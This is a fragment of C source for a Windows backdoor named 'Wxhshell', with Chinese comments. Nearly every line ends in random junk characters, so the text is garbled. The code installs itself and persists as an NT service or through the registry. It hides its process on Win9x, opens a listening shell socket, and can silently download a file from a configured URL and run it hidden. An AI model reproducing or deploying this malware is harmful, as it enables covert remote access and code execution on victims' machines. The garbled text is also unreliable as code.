DWORD AffinityMask; guXpHF=
DWORD BasePriority; {OrE1WHB
ULONG UniqueProcessId; RsfTUb)<
ULONG InheritedFromUniqueProcessId; 5udoZ>T
} PROCESS_BASIC_INFORMATION; F$p*G][
^X%4@,AE
PROCNTQSIP NtQueryInformationProcess; d}cJ5!d
ldvxYq<:
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K0=E4>z,`q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G3^]Wwu
rxp9B>~
HANDLE hProcess; 6G$tYfX
PROCESS_BASIC_INFORMATION pbi; xH#a|iT?(
1>x@1Mo+K
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vzvw/17J
if(NULL == hInst ) return 0; g*r;( H>e
B^~Bv!tHWr
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _hL4@C
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gr{Sh`Cm-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3|r!*+.
pY>-N
if (!NtQueryInformationProcess) return 0; L)Ar{*xC
}QW~.>`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0a6z"K}
if(!hProcess) return 0; To%*)a
N:jiZ)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T8TsKjqOZ
nL07^6(
CloseHandle(hProcess); k:)u7A+
LEnP"o9ZW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ixHZX<6zYT
if(hProcess==NULL) return 0; gJ8 c]2c
,bp pM
HMODULE hMod; <O)X89dFM
char procName[255]; P^m 6di
unsigned long cbNeeded; )r,R!8
L{%a4Ip
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
C|;Mhe'r=
FDs^S)B
CloseHandle(hProcess); jTUf4&b-
$RNUr
\9A
if(strstr(procName,"services")) return 1; // 以服务启动 4yZ+,hqJ<9
l%U_iqL&
return 0; // 注册表启动 %R*vSRG/U
} 9Y@?xn.\
9`n)"r
// 主模块 S@zkoj@
int StartWxhshell(LPSTR lpCmdLine) {2gd4[:
{ z<vO#
SOCKET wsl; =/QU$[7X(
BOOL val=TRUE; -hFyqIJW
int port=0; (s@tU>4U
struct sockaddr_in door; :tqm2t
x`6^+>y^
if(wscfg.ws_autoins) Install(); Sc$8tLDLj
-@V"i~g<e
port=atoi(lpCmdLine); FO>( QLlH
H?(SSL
if(port<=0) port=wscfg.ws_port; KPd C9H
"zIq)PY
WSADATA data; D62
NU
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <6O_t,K]
>aC\_Mc
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; kxqc6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tvH\iS #V
door.sin_family = AF_INET; D<3V#Opw
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ie~fQ!rf
door.sin_port = htons(port); h k!,
QT= ,En
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sqpOS!]
closesocket(wsl); hB}h-i(u
return 1; R~5*#r@f
} ]F*a PV
CndgfOF
if(listen(wsl,2) == INVALID_SOCKET) { Ao,!z
closesocket(wsl); O][Nl^dl
return 1; i$^B-
} Q$h:[_v
Wxhshell(wsl); "3i80R\w`F
WSACleanup(); _X2EBpZp
fxoi<!|iGY
return 0; kAB+28A
*xo;pe)9
} 'tu@`7*
hN_f h J
// 以NT服务方式启动 Am4^v?q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W6Aj<{\F
{ 6;[/9
DWORD status = 0; +5t
bK
DWORD specificError = 0xfffffff; 7Cd_zZ
X:``{!~geo
serviceStatus.dwServiceType = SERVICE_WIN32; uQu/(5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >g>`!Sf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =GKS;d#/
serviceStatus.dwWin32ExitCode = 0; MYw8wwX0kJ
serviceStatus.dwServiceSpecificExitCode = 0; 0+<eRR9-
serviceStatus.dwCheckPoint = 0; 4o4 =
serviceStatus.dwWaitHint = 0; 4`U0">gY
24jtJC,7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o!toO&=
if (hServiceStatusHandle==0) return; ^>X)"'0+
M9s43XL(&
status = GetLastError(); I' ! r
if (status!=NO_ERROR) $ ~,}yh;
{ <{cNgKd9
serviceStatus.dwCurrentState = SERVICE_STOPPED; JYg% ~tW'
serviceStatus.dwCheckPoint = 0; 7*>S;$
serviceStatus.dwWaitHint = 0; :`Uyn!w
serviceStatus.dwWin32ExitCode = status; oO#xx)b
serviceStatus.dwServiceSpecificExitCode = specificError; mo;)0Vq2l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p>:ef<.i
return; y3cf[Q
} )b&-3$?
GT'7,+<?N
serviceStatus.dwCurrentState = SERVICE_RUNNING; Zv| p>q`R2
serviceStatus.dwCheckPoint = 0; >^yc=mM(g3
serviceStatus.dwWaitHint = 0; /j' B\,
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F?8BS*r_
} @ 2!C^}d3F
*j/S4qG
// 处理NT服务事件,比如:启动、停止 Cl6m$YUt
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6hM]%
{ 2sqm7th
switch(fdwControl) nJleef9
{ )>y
k-
case SERVICE_CONTROL_STOP: ^.D}k
serviceStatus.dwWin32ExitCode = 0; a;"Uz|rz
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1^L`)Up
serviceStatus.dwCheckPoint = 0; \6lh `U
serviceStatus.dwWaitHint = 0; xEVLE,*?>
{ JvfQib
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8VP"ydg-U
} 7}?k^x,1
return; 2f|6z-Z
case SERVICE_CONTROL_PAUSE: 4O`6h)!NQ
serviceStatus.dwCurrentState = SERVICE_PAUSED; % Cu.u)/+
break; WGh. ;-
case SERVICE_CONTROL_CONTINUE: wy{ \/?~c
serviceStatus.dwCurrentState = SERVICE_RUNNING; )d +hZ'
break; U!c]_q
case SERVICE_CONTROL_INTERROGATE: g5[ D&
break; ':\fl.b
}; tx0Go'{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); WHUT/:?f
} $T?*0"Mj[
g/8.W
// 标准应用程序主函数 )RwBg8
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?0rOcaTY
{ iW|s|1mh3
ge0's+E+1
// 获取操作系统版本 K8
b+
OsIsNt=GetOsVer();
c6Lif)4
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q !9HA[Ly
'lhP!E_)q
// 从命令行安装 M[aT2A
if(strpbrk(lpCmdLine,"iI")) Install(); 7L=T]W
Ys-Keyg
// 下载执行文件 >1x7UXs~:
if(wscfg.ws_downexe) { )Fqy%uR8
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q*6q}s3n
WinExec(wscfg.ws_filenam,SW_HIDE); JbE?a[Eg?
} E-~mOYea
iOT)0@f'
if(!OsIsNt) { 9W*.lf
// 如果时win9x,隐藏进程并且设置为注册表启动 V43nws"4
HideProc(); 3{<R5wUo"
StartWxhshell(lpCmdLine); E'5Ajtw;
} +w"_$Tj@;
else *Ph]F$ZP
if(StartFromService()) dG&2,n'f
// 以服务方式启动 h|bqyu
StartServiceCtrlDispatcher(DispatchTable); b5AGk
else F:%^&%\
// 普通方式启动 izCaB~{/
StartWxhshell(lpCmdLine); - $U@By<SJ
mCM|&u
return 0; [2Iau1<@
}